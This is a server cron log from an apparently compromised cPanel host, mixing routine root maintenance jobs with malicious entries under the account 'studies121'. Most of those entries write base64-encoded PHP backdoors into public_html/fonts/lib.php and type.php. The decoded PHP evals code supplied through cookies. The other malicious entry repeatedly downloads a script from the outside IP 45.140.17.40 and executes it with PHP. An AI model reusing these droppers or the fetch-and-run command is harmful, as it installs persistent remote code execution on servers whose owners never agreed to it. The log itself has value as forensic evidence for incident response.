Sep  7 05:59:01 ip-184-168-122-23 CROND[3778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:59:01 ip-184-168-122-23 CROND[3779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:59:01 ip-184-168-122-23 CROND[3782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:59:01 ip-184-168-122-23 CROND[3783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:00:01 ip-184-168-122-23 CROND[3952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3954]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3957]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:00:01 ip-184-168-122-23 CROND[3960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:00:01 ip-184-168-122-23 CROND[3962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:00:01 ip-184-168-122-23 CROND[3965]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 06:01:01 ip-184-168-122-23 CROND[4140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:01:01 ip-184-168-122-23 CROND[4143]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 06:01:01 ip-184-168-122-23 CROND[4142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:01:01 ip-184-168-122-23 CROND[4146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:01:01 ip-184-168-122-23 CROND[4145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:01:01 ip-184-168-122-23 CROND[4147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4143]: starting 0anacron
Sep  7 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4163]: finished 0anacron
Sep  7 06:02:01 ip-184-168-122-23 CROND[4262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:02:01 ip-184-168-122-23 CROND[4264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:02:01 ip-184-168-122-23 CROND[4265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:02:01 ip-184-168-122-23 CROND[4266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:02:01 ip-184-168-122-23 CROND[4267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:03:01 ip-184-168-122-23 CROND[4361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:03:01 ip-184-168-122-23 CROND[4364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:03:01 ip-184-168-122-23 CROND[4363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:03:01 ip-184-168-122-23 CROND[4365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:04:01 ip-184-168-122-23 CROND[4490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:04:01 ip-184-168-122-23 CROND[4492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:04:01 ip-184-168-122-23 CROND[4493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:04:01 ip-184-168-122-23 CROND[4494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:04:01 ip-184-168-122-23 CROND[4496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:05:01 ip-184-168-122-23 CROND[4602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:05:02 ip-184-168-122-23 CROND[4604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:05:02 ip-184-168-122-23 CROND[4606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:05:02 ip-184-168-122-23 CROND[4607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:05:02 ip-184-168-122-23 CROND[4608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:05:02 ip-184-168-122-23 CROND[4609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:05:02 ip-184-168-122-23 CROND[4611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:06:01 ip-184-168-122-23 CROND[4814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:06:01 ip-184-168-122-23 CROND[4816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:06:01 ip-184-168-122-23 CROND[4818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:06:01 ip-184-168-122-23 CROND[4817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:06:01 ip-184-168-122-23 CROND[4820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:07:01 ip-184-168-122-23 CROND[4954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:07:01 ip-184-168-122-23 CROND[4956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:07:01 ip-184-168-122-23 CROND[4957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:07:01 ip-184-168-122-23 CROND[4959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:08:01 ip-184-168-122-23 CROND[5082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:08:01 ip-184-168-122-23 CROND[5085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:08:01 ip-184-168-122-23 CROND[5084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:08:01 ip-184-168-122-23 CROND[5087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:08:01 ip-184-168-122-23 CROND[5086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:09:01 ip-184-168-122-23 CROND[5211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:09:01 ip-184-168-122-23 CROND[5210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:09:01 ip-184-168-122-23 CROND[5215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:09:01 ip-184-168-122-23 CROND[5212]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 06:09:01 ip-184-168-122-23 CROND[5213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:10:01 ip-184-168-122-23 CROND[5365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:10:01 ip-184-168-122-23 CROND[5366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:10:01 ip-184-168-122-23 CROND[5368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:10:01 ip-184-168-122-23 CROND[5373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:10:01 ip-184-168-122-23 CROND[5372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:10:01 ip-184-168-122-23 CROND[5374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
